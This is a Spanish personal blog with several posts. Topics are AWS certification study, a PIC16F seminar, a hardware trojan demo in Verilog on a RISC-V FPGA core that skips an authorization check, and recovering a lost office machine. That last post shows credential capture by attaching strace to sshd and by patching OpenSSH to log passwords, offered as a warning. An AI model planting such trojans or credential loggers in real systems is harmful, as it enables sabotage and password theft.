Como ya he manifestado en otra ocasión, no soy amigo de las certificaciones y más las que no son las que me interesan muchisimo como CSSLP, CEH u otras que no me dá la cabeza para dar. Sin embargo, tengo sobrados motivos para AWS Cloud Practitioner:

Me obliga a aprender, comprender y practicar cosas que vengo haciendo de modo esporádico desde hace diez años.

Aprovechar que recientemente hice los cursos de Architecting y Security. El tachado se debe a que escribí esto a fin de 2020 y no pude darla en ese entonces por motivos logísticos. Todo esto que estás leyendo, es del pasado.

Si tomás una certificación, la siguiente te sale la mitad y la verdad es que si logro hacerme tiempo, querría hacer la de Security, me parece que hay que dar la de Architecting antes, el tiempo dirá, tengo otras cosas que me interesan mucho más.

En lugar de pagar 150 por la siguiente, pagás 175 (100 + ( 150 / 2)) por dos certificaciones. Igual es un ahorro menor, lo que más me cuesta es practicar y estudiar.

Unos meses antes había creado mi cuenta gratuita, medio que por error, así que me conviene aprovechar el período para hacer todo lo que pueda.

Y finalmente, en estos tiempos tan Cloud, queda bien en el CV.

---

Como anécdota, en el trabajo anterior tipo 2011 teníamos unas techtalks, en una de ellas presenté una serie de scripts para desplegar instancias de EC2, no recuerdo si con bash o PHP.

Lo que hacía era de un conjunto de máquinas, apagar un tercio y actualizarlas. Luego tomar otro tercio y apagarlas, luego apagar el tercio restante y a la vez levantar el tercio actualizado, luego actualizar uno de los tercios restante y levantarlo y dejar el tercio restante apagado por si había que restaurar.

En la charla al comentar los resultados, me perdí un montón de puntos de marketing al decir, cito casi textualmente:

"De las ocho veces que lo hemos probado, sólo una vez funcionó... y no fué la última"

---


Otro motivo para usar Cloud en general, AWS en particular, no muy fuerte, es sólo una excusa, es que desde que cambié de proveedor estoy detras de un NAT impenetrable y he necesitado para algún taller exponer un servidor.


Recursos 


Tambien gracias al trabajo, tengo acceso a LinkedIn Learning, que antes se llamaba Lynda. Tomé unos cursos de una señorita, llamados Introduction to AWS for NonEngineers, del 1 al 4 (Cloud Concepts, Security, Core Services, Billing and Pricing), son superficiales, pero amenos e instructivos y ante la falta de práctica, la repetición de conceptos básicos van formando un terreno fértil. Duran entre 40 y 80 minutos cada uno.

Luego, como persona podés acceder a muchos cursos gratuitos de AWS, pero, otra vez gracias al trabajo, si la empresa es partner, con esa cuenta se pueden acceder a más cursos.

El criterio que utilicé fue dejar la instrucción oficial y más específica para más cerca del examen, así que la siguiente etapa fueron un montón de estos cursitos de AWS de poca duración, menos de media hora cada uno:

  • Amazon Simple Storage Service - Basics (AWS Support)
  • Amazon Simple Storage Service - Closer look - Part 1 (AWS Support)
  • Amazon Simple Storage Service - Closer look - Part 2 (AWS Support)
  • Identity and Access Management - Architecture and Terminology
  • Identity and Access Management - Basics (AWS Support)
  • Introduction to Amazon Elastic Compute Cloud

 Fuí mechando con un algunos labs gratuitos de qwiklabs:

  • Introduction to Amazon Simple Storage Service (S3) 
  • Introduction to AWS Identity and Access Management (IAM)

Si quisieras un certificado de completitud de qwiklabs, este tiene hay una especie de dashboard público pero no brinda detalle de los labs, sólo de los "quests". De todos modos te llega un lindo mail con tu nombre registrado y el detalle de la fecha y lo que hiciste.


Quedó entonces para el final el de seis horas

 

Y un agregado extra, en 2020 hubo un "challenge"  que te regalaban el curso "Cloud Practitioner Essentials Day" que viene a ser una versión lavada de "Cloud Practitioner Essentials Training", no labs, no materiales, no slides. Y un voucher para un examen de prueba y hubo algunos webinarcitos y por supuesto lo tomé todo.

A por acá es que retomo un año más tarde...

Y otro agregado extra, más que agregado el balde que rebalsó el vaso, ahora a fin de 2021 hubo una Rocket Journey o similar, para quienes por acuerdos empresariales pueden acceder a AWS Partnet Network, un montón de capacitación, incluso un día con instructor y un desafío final gracias al cual me conseguí un voucher por el %100.

Lo interesante es la fragmentación, no hubo ningún recurso completamente contenido dentro de los otros, incluso si nos limitamos a los de AWS, simpre hay algo que no está en ningún otro, más si dejás pasar tanto tiempo, todo va mutando.

Por un lado más personal, esto es una de las cosas más difíciles que he hecho en mi vida, no por que en sí sea difícil sino por mi mismo, no sé por qué. Pensá que empecé a escribir esto 2020-12-25 más o menos y el examen lo dí 2021-11-25.

 

El examen

 

Me facilitó mucho el que fuera presencial, la idea de tener que armar una máquina con windows, en un ambiente que no estuviera lleno de cosas prohibidas y garantizar evitar interrupciones, me supera.

Cuando me faltaba media hora para salir rumbo al examen, caí en cuenta que no habia leido The Well Architected Framework, por que la vista web no indica bien rápido que hay unos heavies pdf (entre 40 y 60 páginas). Aún así aprobé.

 

Retrospectivamente

 

Con leer atentamente TWAF, recorrer un poco https://docs.aws.amazon.com/, tomarse todos esos cursitos gratuitos, tener visto para que sirven los, ponele 50 servicios principales y por qué no, algunas horas de práctica, debería alcanzar.






2021/11/17

Notas al seminario de MCU PIC16F

He asistido a un interesante seminario de explicaciones del PIC16F a cargo de Andrés Bruno Saravia que es Certified Trainer de Microchip, autor del libro "Arquitectura y Programación PIC16F1939 En Lenguaje C con XC8", comparto acá mis notas y la adaptación a linux.

 

Ideas


Un concepto que ya tenía aunque no recuerdo de donde ni tenerlo bien conciente es el de la compresión de instrucciones, me llevó un rato darme cuenta que no era una compresión real, sino a la manera de referirse a la relación entre el número de instrucciones en C y las necesarias en assembly.


Otro concepto que había sufrido antes sin darme cuenta es el de arquitectura cerrada vs abierta. Los 8051 tiene arquitectura abierta, esto es que se pueden tomar unos pines y exponer el bus de datos, direcciones y control para agregarle una memoria, por ejemplo. Los microcontroladores como los PIC y AVR que he usado son cerrados, no hay buses paralelos afuera.

Me llamó la atención que siendo uno de los objetivos que la ISA fuera bien chiquita, que existieran:


bcf f,b borra bit f
bsf f,b setea bit f

que según entiendo bien se podrían implementar con

 

andwf f, d AND W con f
iorwf f,d OR inclusiva W con f 

 

Cuando me junte con el kit, probaré. ¿Qué? ¿Que podría simular? Ni a palos, tengo otras cosas que hacer estos días, pero es una buena idea, lo probaré tanto con el chip como como excusa para aprender a simular.

 

El kit


Entiendo que el kit que recibiré no incluye los capacitores ni el cristal, evidentemente este seminario está más orientado a profesionales que a hobbystas como yo, que se asustan ante la más mínima insinuación de electrónica digital. No importa, son unos pesitos más, no pasa nada.

 

La adaptación a linux

 

Toolchain


Se trata de MPLAB-X, no hay nada que adaptar, sólo hay que bajarla del sitio oficial. Me pone un poco incómodo que tanto para la instalación de ésta como para la instalación de los compiladores haga falta hacerlo como root. Esto garantiza que siempre lo usaré en una virtual.

 

El tiny bootloader

 

¿Cómo hacés para cargarle un programa a una computadora? Lo bajás de internet, lo pasás por pendrive, diskette, lo que sea. Estos bichitos no tienen tantas posibilidades, en el caso de PIC se llama ICSP, que no es una certificación sino In-Circuit Serial Programming, parecido supongo a ISP (In System Programming) de los AVRs,  sólo le ocupan dos o tres pines y necesitan un programador, que son $$$ más y como yo sólo estoy de visita no lo pienso adquirir, con mis ATMega328p aún me sobra para lo que necesito.

Como hay otra gente a la que tampoco le cierra gastar esa plata ni perder N pines, existe un método que es cargar un programa que cuando arranca se fija si en el puerto serie hay unos ciertos códigos y si los encuentra considera que son el programa y lo carga en la flash. Si pasa un rato y no hay nada en el puerto serie, ejecuta lo que tenga de antes, supongo que nada si no hay nada.

 

En el seminario se utilizó tinybld198 que gentilmente fué provisto por Andrés y corre en windows. A buscar y lo primero que aparece es tinybldlin que ni siquiera hay que compilar pues funciona con python.

 

El adaptador


Ni hace falta que lo diga pero lo haré, no necesita agregar ningún driver, no entiendo por qué windows tiene esa tara, pasa lo mismo con edu-ciaa-fpga, usbasp, lo que sea.

Sí puede hacer falta toquetear udev y permisos. Los pasos ya los he registrado en otras entradas pero no me ofende volver a hacerlo...

 

Conclusión


A mi me encantó, no sé si tanto si ya hubiese sabido antes de PIC, tuvo quizás demasiado tiempo de no demo, pero el tiempo de demo fue bien respetado, al punto que el seminario duró como cuarenta minutos de más.

 

Cuando me junte con el kit, sigo... en https://seguridad-agile.blogspot.com/2022/02/primer-contacto-real-con-pic16.html




2021/11/15

H4CK3D 2021: el ataque concreto

Ya casi estamos, tenemos...


Los componentes del ataque 


Voy a asumir que sabés qué es un pipeline, que entendés un poco de Verilog y lo más difícil, que leiste todo lo anterior o al menos le pasaste una mirada por encima.


Propagación de la instrucción por todo el pipeline  


rv32 implementa un pipeline clásico de 5 stages según el autor y cita de una a la wikipedia.

En uno de esos stages hay que detectar la ejecución de las instrucciones interesantes y en otro hacer la modificación. Para ello tuve que, aprovechando la infraestructura de verificación formal, propagar la instrucción a todo el pipeline. Esto es por que en fetch y decode existe la instrucción, pero luego desaparece, no hace falta.

 

Propagación de la instrucción a todo el pipeline
Propagación de la instrucción a todo el pipeline


Las señales prefijadas con "`" son las agregadas.

 

Extracción de señal del RTC

 

A la interfaz agregué:


output attack_rtc_enable,


y luego:


assign attack_rtc_enable = secondsHi[1];

Esto significa que cuando el bit de valor 2 del dígito de las decenas de segundo esté  prendido, o sea 2 a 3 y 5 (segundos 20 a 39, 50 a 59), el ataque estará habilitado desde el punto de vista del tiempo.

Esta restricción temporal existe para disminuir las probabilidades de que se active durante una etapa de testeo. En un escenario realista, sería un combinacional tipo


assign attack_rtc_enable = hours[3] && minutesLo[3] && secondsHi[1];

 

Para que el ataque esté activo cuando lleve encendido 8 a 15 horas, en el minuto 04, 14, 24, 34, 44, 54 (creo) y los segundos con los que veníamos.

 

FSM en el stage de writeback detector de la secuencia de interés

 

Nada especial, una FSM de 8 estados, pude haber usado menos quizás, tomando estos valores:

localparam
  instr_0 = 32'hfef400a3, // sb  a5,-31(s0)
  instr_1 = 32'hfe244703, // lbu a4,-30(s0)
  instr_2 = 32'h00800793, // li  a5,8
  instr_3 = 32'h02f71a63, // bne a4,a5,30c <main+0x218>
  instr_4 = 32'hfe144703, // lbu a4,-31(s0)
  instr_5 = 32'h00100793, // li  a5,1
  instr_6 = 32'h02f71063; // bne a4,a5,304 <main+0x210>

 
En cada estado se pregunta si está el valor siguiente. Si está se pasa al siguiente estado, sino, regresa al comienzo.  Llegada la instrucción cuarta, se activa el ataque.
 
 

waiting_instr_3: begin
  if (instr_in == instr_3) begin  // bne a4,a5,30c <main+0x218>
    attack_state      <= waiting_instr_4;
    attack_seq_enable <= 1;
  end else begin
    attack_state      <= waiting_instr_0;
    attack_seq_enable <= 0;
  end
end
 
Por las dudas dejé el ataque activo por dos ciclos más.

 

Modificador de registros en regs según condiciones

 

Pasé de:

if (!writeback_flush_in && rd_write_in && |rd_in)
  regs[rd_in] <= rd_value_in;

que dice que si no se está flusheando el pipeline que ponga en el registro apuntado por rd_in el valor en rd_value_in.

Pasé a, decía:

if (!writeback_flush_in && rd_write_in && |rd_in)
  if (attack_seq_enable && attack_rtc_enable) begin
    regs[4] <= rd_value_in;
    regs[5] <= rd_value_in;

  end else begin
    regs[rd_in] <= rd_value_in;
  end

Que dice que si se detectó la secuencia y es la hora apropiada, ponga en los registros 4 y 5 el valor en rd_value_in.

No pude hacer que funcione asignando sólamente a5 <= 1, me parece recordar que tenía que poner una lógica toda complicada, así resultó ser lo más sencillo.

 

Conexionado

 

No merece una sección aparte, pero obviamente tuve que agregar todo el cableado pasando por las interfaces. Esto es por que no encontré rápido, es más, me parece que al menos con las tools que usé no es factible saltearse las interfaces y conectar directamente los componentes. De esto tengo ideas, pero eso lo veremos en "the missing pieces".

 

 


H4CK3D 2021: el escenario y el programa víctima

Por si no querés leer todo lo anterior, te resumo, es un ataque desde el hardware al software inspirado en un hecho real, una falla de software en un sistema crítico.

Dependiendo del flujo del programa, detectar que está ejecutando un “momento interesante” y producir una alteración en el comportamiento.

 

El escenario real sería un expendedor de cervezas, un bloque recibe el pedido y otro lo autoriza. El funcionamiento normal es apretamos el botón de "dame cerveza" y si el botón de "ok" está apretado, te la da. En la demo es con una barrera y los botones son "abrir" y "autorizar".

Tras el ataque, si vamos en un cierto momento y apretamos el "dame cerveza", sale independientemente de que "ok" esté apretado.

 

El programa víctima es entonces:

 

while (1) {

sensor1 = gpio1.read();     // leer botón 1

sensor2 = gpio2.read();     // leer botón 2

if (sensor1) {              // si pide cerveza...

if (sensor2) {          // si está autorizado...

gpio3.write(1);     // abrir

} else {

printf(“no way\n”); // denegar

}

}

}

El diseño atacante:

if ( secuencia de instrucciones && condición de tiempo) {

register = 1;

}


Recordemos que para hacer posible e interesante este ataque, agregué un módulo de RTC y otro de servo, un PWM restringido, superpuesto con la placa:

 

SOC icicle en edu-ciaa-fpga
SOC icicle en edu-ciaa-fpga


Anticipándome, el ataque estará en bien adentro de rv32 y con una pista desde el RTC.

 

Explicación del programa

 

Para comprender el siguiente código necesitás saber unas pocas instrucciones.

 

La lectura de los botones

 

Lectura de botones
Lectura de botones

 

lui: Carga en a5 el valor 0x10 desplazado doce bits a la izquierda

addi: Le suma 4 a a5, observá que coincide con 0x10004 como corresponde con el código HDL y el código C.

lw: Lee en a5 la memoria apuntada por a5, o sea, 0x00010004, o sea, el valor de los botones.

zext.b: esto es el equivalente a andi rd,rs,255, le mete todo cero a los 24 bits superiores de a5.

not: invierte los valores, corresponde a ~.

sb: guarda en lo apuntado por s0 menos 29 lo que haya en a5


fast forward, estamos en...

 

La zona de interés

 

Zona de interés
Zona de interés

El punto de ataque es el naranja, queremos que independiente de los botones, no tome el branch, que pase directo a "state = BarrierUp;"

Para ello, necesitamos que a4 y a5 sean iguales. En el punto rojo, cuando se cargue ese 1 en a5, necesitamos forzar esa igualdad.

Antes, la zona amarilla es la secuencia que nos señala que el ataque debe activarse.

Despues, la instrucción resaltada en verde pisa el valor de a5 antes de que sea usado, esto produce que no hayan efectos colaterales relacionados a a5, lo mismo pasa con a4, pero búscalo vos en el código.


Hay varias maneras de obtener este archivo, como es pedirle a gcc que compile a assembly, que conserve las piezas intermedias o lo que hice, decompilar:

riscv64-unknown-elf-objdump main.o -d -S > main.s

-d es disassemble

-S es que incluya el código fuente

 

Pero no es tan fácil, ese main.o no está aún ubicado en el lugar definitivo del programa ni tiene resueltas las direcciones de salto, es entonces conveniente:


riscv64-unknown-elf-objdump progmen -d -S > progmem.s


y ahí te van a saltar unas diferencias, nos quedamos con los valores de la derecha.


main.s vs progmem.s
main.s vs progmem.s

En amarillo la diferencia por desplazamiento, en naranja los placeholders de los saltos y su resolución y en rojo el código binario correspondiente.


Esta bueno comprobar que el código de máquina corresponda:

 

Zona de interés
Zona de interés

Pero, siempre hay un pero, RISC-V es little endian, así que hay que darlos vuelta en el .hex:

Zona de interés en el binario final
Zona de interés en el binario final

Fijate que hay una colisión con uno de los pasos de la secuencia, de todos modos no es el primero, no hay problema.


Hasta acá ya tenemos que conocemos la secuencia previa y sabemos cuál instrucción debe ser afectada.


Si encontramos una parte de esa secuencia, hay que cambiar unos registros. ¿Cómo? ya veremos...






 



 



2021/11/08

Perdí una máquina

Con esto de la remotidad, hemos todos tenido problemas nuevos.


El siglo pasado me ocurrió al estar operando en un servidor que lo apagué de modo remoto pero estaba en otra ubicación, por suerte era a pocas cuadras.


Lo que ocurrió esta vez es que en la oficina tengo una máquina, con la IP fijada por DHCP. ¿Qué significa esto? Que aunque en su configuración local no tiene IP fija, el servidor de DHCP recuerda la MAC Address y me asigna siempre la misma IP. Esto es vital para que la pueda encontrar en modo remoto.

Por algún motivo que desconozco, no puedo acceder pese a que me consta que está prendida y conectada pues una persona tuvo la gentileza de ir a fijarse.

¿Qué puedo hacer? Si supiera la MAC Address, avisarle a quien administra el DHCP para que restaure la regla si es que se ha ido.

También, si pudiera acceder a una máquina en la misma red, asignarle en esa máquina esa MAC Address a una IP libre arbitraria, de esta manera:

$ arp -s 192.168.1.200 14:de:39:16:a0:57

Luego, independientemente de que dirección tenga, llegaría con:

$ ssh 192.168.1.200

Si no me creés, hacés bien. Dije lo anterior pues estoy completamente seguro que había dispositivos que para conectarte por primera vez tenías que hacer eso, pero por las dudas he comprobado el procedimiento y no funciona.


El rojo representa la temperatura del horno
El rojo representa la temperatura del horno

 

Para averiguar la MAC hay varias opciones

  • fijarse en la etiqueta del gabinete.
  • averiguar el nombre del puerto en el que está conectado y pedirle a quien administra los switches que se fije.
  • entrar una vez y consultarle al sistema operativo 

Para hacerla difícil, optaré por la última. Pero si no sé la IP...

  • Puedo fijarme en otra máquina desde la que me haya conectado la firma del servidor conservada y consultar a cada máquina que tenga SSH la firma a ver cuál coincide.
  • Puedo barrer todas las IP de la red intentando entrar


Barrer y que un equipo malicioso me tome la clave, modo hacker

 

Podría alguien tener configurado que se tome nota de las credenciales ingresadas en caso de error. No es algo que se pueda hacer con PAM según dice wikipedia de PAM,  "This lack of functionality is also the reason SSH does its own authentication mechanism negotiation." pero quizás no estoy interpretando bien, pues en /var/log/auth.log hay entradas como esta:

 

auth.log:Aug 21 22:50:55 carlos-VirtualBox sshd[65233]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.190  user=carlos


o quizás sea una falsa alarma, pues luego en SSH dice que "keyboard-interactive (RFC 4256): a versatile method where the server sends one or more prompts to enter information and the client displays them and sends back responses keyed-in by the user. Used to provide one-time password authentication such as S/Key or SecurID. Used by some OpenSSH configurations when PAM is the underlying host-authentication provider to effectively provide password authentication."

 

Luego hacemos un sudo fallido:

Aug 21 23:11:55 carlos-VirtualBox sudo: pam_unix(sudo:auth): authentication failure; logname= uid=1000 euid=0 tty=/dev/pts/9 ruser=carlos rhost=  user=carlos

Vamos bien, hay que aprender un poquito de PAM a ver como ponemos nuestro propio autenticador que guarde las credenciales.

Empecemos por...

[/etc/pam.d/sshd]
# Standard Un*x authentication.
@include common-auth

Suficiente, ya me aburrí, mejor veámosle las tripas al correr, cuando ingresamos "xxxxx" como password emite esto:

$ ps ax | grep sshd: | grep -ve grep | cut -d"?" -f 1 | xargs strace -f --attach
....
[pid 65596] read(4, "\200\216\2337-)\372dz\204\20\307\214\367\16\27\276?\346\341\26,\375\f\241\17\210\2\2318\206\340"..., 8192) = 84
[pid 65596] write(5, "\0\0\0\n\f", 5)   = 5
[pid 65592] <... poll resumed>)         = 1 ([{fd=6, revents=POLLIN}])
[pid 65596] write(5, "\0\0\0\5xxxxx", 9 <unfinished ...>
[pid 65592] read(6,  <unfinished ...>
[pid 65596] <... write resumed>)        = 9
[pid 65592] <... read resumed>"\0\0\0\n", 4) = 4
[pid 65596] read(5,  <unfinished ...>
[pid 65592] read(6, "\f\0\0\0\5xxxxx", 10) = 10
[pid 65592] getuid()                    = 0
....

 

Hagamos algo mejor, asumamos que ya conocemos el $PID del sshd y usemos clave 01234567 para variar:


$ strace -f -eread --attach $PID
...
pid 65628] read(5, "\0\0\0\0", 4)      = 4
[pid 65628] read(4, "\361\376l\340\225\267\260Y\".'\301\237\353\3412\210\4\r\273'D\301\30\272\350\346\375\3544Q\""..., 8192) = 148
[pid 65627] read(6, "\0\0\0\r", 4)      = 4
[pid 65628] read(5,  <unfinished ...>
[pid 65627] read(6, "\f\0\0\0\01001234567", 13) = 13
[pid 65627] read(5, "#\n# /etc/login.defs - Configurat"..., 4096) = 4096
[pid 65627] read(5, " issuing \n# the \"mesg y\" command"..., 4096) = 4096
[pid 65627] read(5, "algorithm compatible with the on"..., 4096) = 2358
...

Mejor, pero trae demasiadas líneas, un poquito de grep

$ strace -f --attach 65570 |& fgrep 'read(6, "\'  
[pid 66019] read(6, "\0\0\0D", 4)       = 4
[pid 66019] read(6, "\6", 68)           = 1
[pid 66019] read(6, "\0\0\0\v", 4)      = 4
[pid 66019] read(6, "\0\0\0\6carlos", 10) = 10
[pid 66019] read(6, "\0\0\0\1", 4)      = 4
[pid 66019] read(6, "\0\0\0\33", 4)     = 4
[pid 66019] read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27
[pid 66019] read(6, "\0\0\2,", 4)       = 4
[pid 66019] read(6, "\26\0\0\0\2\0\0\0\0\0\0\0\0\0\0\2\27\0\0\0\7ssh-rsa\0\0\0\3"..., 556) = 556
[pid 66019] read(6, "\0\0\1,", 4)       = 4
[pid 66019] read(6, "\26\0\0\0\2\0\0\0\0\0\0\0\0\0\0\1\27\0\0\0\7ssh-rsa\0\0\0\3"..., 300) = 300
[pid 66019] read(6, "\f\0\0\0\t987654321", 14) = 14

 

Es verdad, no es muy fácil de automatizar, quizás sea mejor tomar probablemente el código fuente de pam_unix.so, modificarlo, recompilarlo y reinstalarlo, esto fué solo una POC de por que no hay que probar contraseñas en equipos que no confiás.

 

Barrer y que un equipo malicioso me tome la clave, modo programador


Podemos instalar nuestro propio servidor ssh modificado para que registre las credenciales.

sudo apt  update
sudo apt install dh-autoreconf libz-dev libssl-dev
git clone https://github.com/openssh/openssh-portable.git
autoreconf
./configure
make ; # paciencia

 

Buscás y buscás el punto de inserción, que resulta ser

 

patch
patch

 

Luego:

$ sudo service sshd stop
$ sudo $(realpath sshd) -D

 

Intentás conectarte y tenés las claves:

sudo tail -f /var/log/auth
Nov  8 18:14:58 template sshd[1458]: User carlos Password XXXXXXXX
Nov  8 18:14:58 template sshd[1458]: Failed password for carlos from 192.168.1.100 port 49320 ssh2
Nov  8 18:15:01 template sshd[1458]: User carlos Password 12345678
Nov  8 18:15:01 template sshd[1458]: Failed password for carlos from 192.168.1.100 port 49320 ssh2
Nov  8 18:15:05 template sshd[1458]: User carlos Password mySecret
Nov  8 18:15:05 template sshd[1458]: Failed password for carlos from 192.168.1.100 port 49320 ssh2
Nov  8 18:15:05 template sshd[1458]: error: maximum authentication attempts exceeded for carlos from 192.168.1.100 port 49320 ssh2 [preauth]
Nov  8 18:15:05 template sshd[1458]: Disconnecting authenticating user carlos 192.168.1.100 port 49320: Too many authentication failures [preauth]



Ambos métodos requieren root, así que tiene que ser un equipo del atacante o que esté comprometido.


Buscar firmas

Para consultar las firmas a cada máquina, en teoría se hace así con nmap:

 

nmap
nmap


Si no tenés nmap o el servidor no te da la información como a mi me ocurre con algunas direcciones, no sé si es por alguna configuración del servidor o falla del script de nmap, usás ssh-keyscan:

 

ssh-keyscan
ssh-keyscan


Si te habías conectado antes, con ssh-keygen podés relacionar:


ssh-keygen
ssh-keygen

 

Si tuvieras la primera conexión:

 

ssh primera conexión
ssh primera conexión

 

la correlacionás con 

ssh -v
ssh -v


No he podido relacionar las firmas de ambos métodos.


Todo esto es muy complicado pero es scripteable:

START=106

STOP=110

NET=192.168.1.

TARGET=$( ssh-keygen -F 192.168.1.108 | grep -o "ecdsa.*" | cut -d" " -f 2 )

for HOST in $(seq $START $STOP); do

ssh-keyscan "$NET$HOST" | fgrep "$TARGET"

done

 

Ejecución script
Ejecución script

Si la máquina hubiera cambiado a otra IP, la encontrábamos si estaba en el rango del seq.

 

Putty


¿Qué pasa si tu conexión fué desde putty en windows? Hay que usar Regedit, buscar esta clave y ahí la IP de interés:


HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys


SSH Host Key en putty
SSH Host Key en putty

 

Para obtener el valor, le das botón derecho, modify...

 

SSH Host Key en putty
SSH Host Key en putty

Son estos dos valores:

 

0x2c41d8156e8fa6ff033b9bccde9005e7063dbbe5cff38334e336af7569bea178

0x17657a34f156c9f05ecae35749499ef23954a1b217f42c6ac946ce2a6073f8c5

 

Ahora hay que ver como se relacionan con:


AAAAC3NzaC1lZDI1NTE5AAAAIMX4c2AqzkbJaiz0F7KhVDnynklJV+PKXvDJVvE0emUX


echo -n AAAAC3NzaC1......JV+PKXvDJVvE0emUX | base64 -d | hexdump -C

00 00 00 0b 73 73 68 2d  65 64 32 35 35 31 39 00 |....ssh-ed25519.|
00 00 20 c5 f8 73 60 2a  ce 46 c9 6a 2c f4 17 b2 |.. ..s`*.F.j,...|
a1 54 39 f2 9e 49 49 57  e3 ca 5e f0 c9 56 f1 34 |.T9..IIW..^..V.4|
7a 65 17                                         |ze.|



Puede ser que no sea con la ecdsa, supongo que sabrás arreglártelas...



Conclusión

No es buena idea intentar autenticarse ante un sistema que no sabés si es el correcto.